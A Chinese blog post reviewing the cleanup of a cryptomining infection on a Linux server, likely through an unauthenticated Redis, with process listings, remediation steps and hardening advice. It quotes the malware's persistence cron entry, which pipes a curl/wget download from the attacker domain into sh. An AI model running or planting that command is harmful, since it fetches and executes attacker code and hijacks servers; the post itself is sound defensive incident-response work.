挖矿程序复盘

背景:

收到朋友的委托,告诉我服务器中毒了,需要我去服务器上清除病毒

景象:

通过账号和密码登录服务器, 发现cpu居高不下,而且定时任务里有计划任务,干掉计划任务,又会立马生成

*/15 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh

初步分析:

删除了计划任务又自动加上了,肯定是有个后台进程(后面)没有清除,没有干掉导致的,于是我在浏览器里打开 lsd.systemten.org 进行访问,发现是有个shell脚本,具体可以看 cron.sh

初步分析这个shell我们可以得出:

  1. 他在写crontab,tmp目录给了任何用户读写权限
  2. kill 掉了安全工具
  3. 采用了cdn,那么连接ip就是不固定的
  4. 加了秘钥能进行免秘钥访问

---- 登录服务器进行排查:

[root@xxoo]# ps -aux
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  25412  1648 ?        Ss    2018   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S     2018   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S     2018   0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S     2018   0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S     2018   0:00 [stopper/0]
root         6  0.0  0.0      0     0 ?        S     2018   0:00 [watchdog/0]
root         7  0.0  0.0      0     0 ?        S     2018   0:00 [migration/1]
root         8  0.0  0.0      0     0 ?        S     2018   0:00 [stopper/1]
root         9  0.0  0.0      0     0 ?        S     2018   0:00 [ksoftirqd/1]
root        10  0.0  0.0      0     0 ?        S     2018   0:00 [watchdog/1]
root        11  0.0  0.0      0     0 ?        S     2018   0:00 [events/0]
root        12  0.0  0.0      0     0 ?        S     2018   0:00 [events/1]
root        13  0.0  0.0      0     0 ?        S     2018   0:00 [events/0]
root        14  0.0  0.0      0     0 ?        S     2018   0:00 [events/1]
root        15  0.0  0.0      0     0 ?        S     2018   0:00 [events_long/0]
root        16  0.0  0.0      0     0 ?        S     2018   0:00 [events_long/1]
root        17  0.0  0.0      0     0 ?        S     2018   0:00 [events_power_ef]
root        18  0.0  0.0      0     0 ?        S     2018   0:00 [events_power_ef]
root        19  0.0  0.0      0     0 ?        S     2018   0:00 [cgroup]
root        20  0.0  0.0      0     0 ?        S     2018   0:00 [khelper]
root        21  0.0  0.0      0     0 ?        S     2018   0:00 [netns]
root        22  0.0  0.0      0     0 ?        S     2018   0:00 [async/mgr]
root        23  0.0  0.0      0     0 ?        S     2018   0:00 [pm]
root        24  0.0  0.0      0     0 ?        S     2018   0:00 [sync_supers]
root        25  0.0  0.0      0     0 ?        S     2018   0:00 [bdi-default]
root        26  0.0  0.0      0     0 ?        S     2018   0:00 [kintegrityd/0]
root        27  0.0  0.0      0     0 ?        S     2018   0:00 [kintegrityd/1]
root        28  0.0  0.0      0     0 ?        S     2018   0:00 [kblockd/0]
root        29  0.0  0.0      0     0 ?        S     2018   0:00 [kblockd/1]
root        30  0.0  0.0      0     0 ?        S     2018   0:00 [kacpid]
root        31  0.0  0.0      0     0 ?        S     2018   0:00 [kacpi_notify]
root        32  0.0  0.0      0     0 ?        S     2018   0:00 [kacpi_hotplug]
root        33  0.0  0.0      0     0 ?        S     2018   0:00 [ata_aux]
root        34  0.0  0.0      0     0 ?        S     2018   0:00 [ata_sff/0]
root        35  0.0  0.0      0     0 ?        S     2018   0:00 [ata_sff/1]
root        36  0.0  0.0      0     0 ?        S     2018   0:00 [ksuspend_usbd]
root        37  0.0  0.0      0     0 ?        S     2018   0:00 [khubd]
root        38  0.0  0.0      0     0 ?        S     2018   0:00 [kseriod]
root        39  0.0  0.0      0     0 ?        S     2018   0:00 [md/0]
root        40  0.0  0.0      0     0 ?        S     2018   0:00 [md/1]
root        41  0.0  0.0      0     0 ?        S     2018   0:00 [md_misc/0]
root        42  0.0  0.0      0     0 ?        S     2018   0:00 [md_misc/1]
root        43  0.0  0.0      0     0 ?        S     2018   0:00 [linkwatch]
root        46  0.0  0.0      0     0 ?        S     2018   0:00 [khungtaskd]
root        47  0.0  0.0      0     0 ?        S     2018   0:00 [kswapd0]
root        48  0.0  0.0      0     0 ?        SN    2018   0:00 [ksmd]
root        49  0.0  0.0      0     0 ?        SN    2018   0:00 [khugepaged]
root        50  0.0  0.0      0     0 ?        S     2018   0:00 [aio/0]
root        51  0.0  0.0      0     0 ?        S     2018   0:00 [aio/1]
root        52  0.0  0.0      0     0 ?        S     2018   0:00 [crypto/0]
root        53  0.0  0.0      0     0 ?        S     2018   0:00 [crypto/1]
root        60  0.0  0.0      0     0 ?        S     2018   0:00 [kthrotld/0]
root        61  0.0  0.0      0     0 ?        S     2018   0:00 [kthrotld/1]
root        63  0.0  0.0      0     0 ?        S     2018   0:00 [kpsmoused]
root        64  0.0  0.0      0     0 ?        S     2018   0:00 [usbhid_resumer]
root        65  0.0  0.0      0     0 ?        S     2018   0:00 [deferwq]
root        97  0.0  0.0      0     0 ?        S     2018   0:00 [kdmremove]
root        98  0.0  0.0      0     0 ?        S     2018   0:00 [kstriped]
root       269  0.0  0.0      0     0 ?        S     2018   0:00 [scsi_eh_0]
root       270  0.0  0.0      0     0 ?        S     2018   0:00 [scsi_eh_1]
root       286  0.0  0.0      0     0 ?        S     2018   0:00 [virtio-blk]
root       340  0.0  0.0      0     0 ?        S     2018   0:00 [jbd2/vda1-8]
root       341  0.0  0.0      0     0 ?        S     2018   0:00 [ext4-dio-unwrit]
root       425  0.0  0.0  14940   968 ?        S<s   2018   0:00 /sbin/udevd -d
root       557  0.0  0.0      0     0 ?        S     2018   0:00 [virtio-net]
root       562  0.0  0.0      0     0 ?        S     2018   0:00 [vballoon]
root       659  0.0  0.0  14908   968 ?        S<    2018   0:00 /sbin/udevd -d
root       688  0.0  0.0      0     0 ?        S     2018   0:00 [kjournald]
root       721  0.0  0.0      0     0 ?        S     2018   0:00 [kauditd]
root       943  0.0  0.0      0     0 ?        S     2018   0:00 [flush-252:0]
root       973  0.0  0.0  15300   732 ?        Ss    2018   0:00 /sbin/dhclient -H ISales-gzcaizhidanao -1 -q -cf /etc/dhcp/dhclient-eth0.
root      1022  0.0  0.0  35948   928 ?        S<sl  2018   0:00 auditd
root      1044  0.0  0.0 259528  1752 ?        Sl    2018   0:00 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
root      1059  0.0  0.0  24432   828 ?        Ss    2018   0:00 irqbalance --pid=/var/run/irqbalance.pid
root      1163  0.0  0.0  36076  4472 ?        Ssl   2018   0:03 /usr/local/aegis/aegis_update/AliYunDunUpdate
root      1202  0.0  0.1 126608 11492 ?        S<sl  2018   0:14 /usr/local/aegis/aegis_client/aegis_10_65/AliYunDun
root      1228  0.0  0.0      0     0 ?        S     2018   0:00 [cqueue]
root      1266  0.0  0.0  14936   944 ?        S<    2018   0:00 /sbin/udevd -d
ntp       1397  0.0  0.0  34728  1848 ?        Ss    2018   0:00 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g
root      1549  0.0  0.0  85072  3504 ?        Ss    2018   0:00 /usr/libexec/postfix/master
postfix   1559  0.0  0.0  85324  3648 ?        S     2018   0:00 qmgr -l -t fifo -u
root      1586  0.0  0.0  25224   576 ?        Ss    2018   0:00 /usr/sbin/atd
root      1606  0.0  0.0  82344  2808 ?        Ssl   2018   0:00 /usr/sbin/aliyun-service
[root@ISales-oo xx]# 

通过经验查看各个路径,首先查看/etc/bashrc:
挖矿程序复盘_第1张图片

发现有redis,这个可能跟redis 未授权漏洞攻击手法一样
在这里插入图片描述

通过url搜索发现别人也遇到了 https://www.cnblogs.com/kobexffx/p/11000337.html

执行查杀脚本发现还是会在计划任务生成,所以要断网才能彻底去根除,于是我尝试些hosts 强制解析crontab的域名

发现,他自动给我吧hosts给删除了强制解析,因为是通过wget下载的 所以我直接把wget重命名,然后
yum remove postfix -y 先把crontab 卸载掉,再继续找木马,然后我在防火墙把这个域名解析的ip给禁掉

-A OUTPUT -d 95.215.19.12/32 -j REJECT --reject-with icmp-port-unreachable 

然后我从正常的机器把ps命令拷贝过来进行分析(因为病毒把系统命令给劫持了)

在这里插入图片描述

在这里插入图片描述


在这里插入图片描述

所以我把sshd 删掉 然后替换掉正常的,看/etc/passwd 有没有可疑账户 发现也没有

在 /usr/local/sbin 下发现很多隐藏文件,这些就是木马,劫持了系统命令
挖矿程序复盘_第2张图片

删掉之后发现cpu降下来了,之前截图的apache等可疑进程干掉然后删除掉文件也正常了

结论:

攻击类型:
  可能属于挖矿程序

漏洞利用:
 可能是reidis 未授权认证漏洞

防护建议:
 (1)Redis,mongodb 启用密码访问 或者监听不要用0.0.0.0,监听使用本机ip
 (2)应用采用普通用户启动 不采用 root启动
 (3)防火墙启动 ,不开放的端口进行关闭
  (4)修改密码以及修改ssh端口
  (5)部署架构: 数据库只有内网地址,不能上网. 应用和数据库分离开

你可能感兴趣的:(系统安全)